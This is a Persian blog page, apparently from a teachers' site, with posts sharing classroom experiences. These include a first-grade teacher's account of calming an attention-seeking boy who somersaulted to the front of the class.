  • موافقین ۱ مخالفین ۰
  • ۰۴ ارديبهشت ۹۵ ، ۰۷:۰۶
  • مهدی تقی پور حیدری

دغدغه ی مادرانه ی یک معلم/فاطمه قنبری

مهدی تقی پور حیدری | شنبه, ۴ ارديبهشت ۱۳۹۵، ۰۷:۰۲ ق.ظ
خانم حسین پور معلم پایه پنجم یکی از مدارس دخترانه شهر بابل است .ایشان در مجموع 19سال سابقه تدریس دارند که البته بیشتر این سال ها را در مدارس روستایی مشغول به خدمت بودند و در حال حاضر 7 سالی است که در مدارس شهری تدریس می کنند. ایشان در موردتجربیات  طول دوران تدریس خود گفتند که در طی این چند سال گاهی با دانش آموزانی که مسایل و مشکلات خاصی داشتند مواجه شده اند که البته تمامی سعی خود را برای حل مشکلات آنها به کار گرفته اند .ایشان معتقدند که یک معلم علاوه بر مسایل آموزشی باید به مسایل پرورشی و تربیتی دانش آموزان خود نیز نظارت داشته باشد . خانم حسین پور در مورد یکی از تجربیات خود گفتند ...
  • موافقین ۱ مخالفین ۰
  • ۰۴ ارديبهشت ۹۵ ، ۰۷:۰۲
  • مهدی تقی پور حیدری

محبت، معجزه ای برای تربیت/مهدیه ماندی صنمی

مهدی تقی پور حیدری | جمعه, ۳ ارديبهشت ۱۳۹۵، ۱۱:۳۹ ب.ظ
به نام خداوند بخشنده مهربان من،حکیمه خاتون سیّار، معلم دوره ابتدایی با 21 سال سابقه کار می باشم. اکثر سال های خدمت من با دانش آموزان پایه اول سپری شد. تجربه ی من، به چندین سال قبل، در مدرسه ای واقع در خیابان ساری شهرستان قائم شهر،با دانش آموزان پسر پایه اول باز می گردد. در نخستین روز کلاس بر حسب وظیفه و برای آشنایی با دانش آموزان ، به پرسیدن از نام و احوال آنان پرداختم. برای انس گرفتن با آن ها،چندین نفر را  به جلوی کلاس فراخواندم که یکی از آن ها پسری به نام مهدی بود. پس از اینکه نامش را صدا زدم، با چندین پشتک وارونه خود را به جلوی تخته رساند. کاری که مسلما می بایست با راه رفتن انجام می شد. هم کلاسی هایش به اقتضای سن کم خود شروع به خندیدن کردند. حتی خود مهدی با آن ها می خندید. من هاج و واج به این صحنه می نگریستم. دقیقا نمی دانستم باید چه کنم تا هم قداست و ارزش معلم و مدرسه حفظ شود و هم با رفتار نابه جای خود مسبب بیزاری آن کودک از مدرسه نشوم. تنها کاری که در آن لحظه انجام دادم این بود که چندین ثانیه، با نگاهی که نه خشم چندانی در خود داشت و نه خوشحال به نظر می رسید به او خیره گشتم. او از این حرکت غیر منتظره ی من، حالتی شرم زده به خود گرفت و زیر چشمی به من نگاه می کرد. خنده ی دانش آموزان نیز با سکوت و نگاه جدی من، پایان یافت. پس از اینکه به چندین سوال من جواب دست و پا شکسته ای داد، از او خواستم که برسر جای خود بنشیند. وقتی وارد دفتر شدم، از خانم مدیر راجع به مهدی پرسیدم. می خواستم بدانم دوره آمادگی خود را در آن جا گذرانده است یا خیر. خانم مدیر که گویا منتظر این سوال من بود، پرسید: چیزی شده است؟ پاسخ دادم چیزی نشده است. می خواهم کمی از او و خانواده اش بدانم. خانم مدیر گفت: او سال قبل نیز در این مدرسه حضور داشت وطی آن 9 ماه، بار ها اشک معلم خود را در  آورده است و دانش آموزان دیگر و حتی والدین آنان نیز  دل خوشی از او ندارند. حتی خواستار اخراج او از مدرسه شدند که من موافق محروم شدن او از مدرسه نشدم و منتظریم که اخلاقش بهبود یابد. پس از پرس و جوهای فراوان متوجه شدم که این دانش آموز برای جلب توجه این کارها را انجام      می دهد.
  • موافقین ۰ مخالفین ۰
  • ۰۳ ارديبهشت ۹۵ ، ۲۳:۳۹
  • مهدی تقی پور حیدری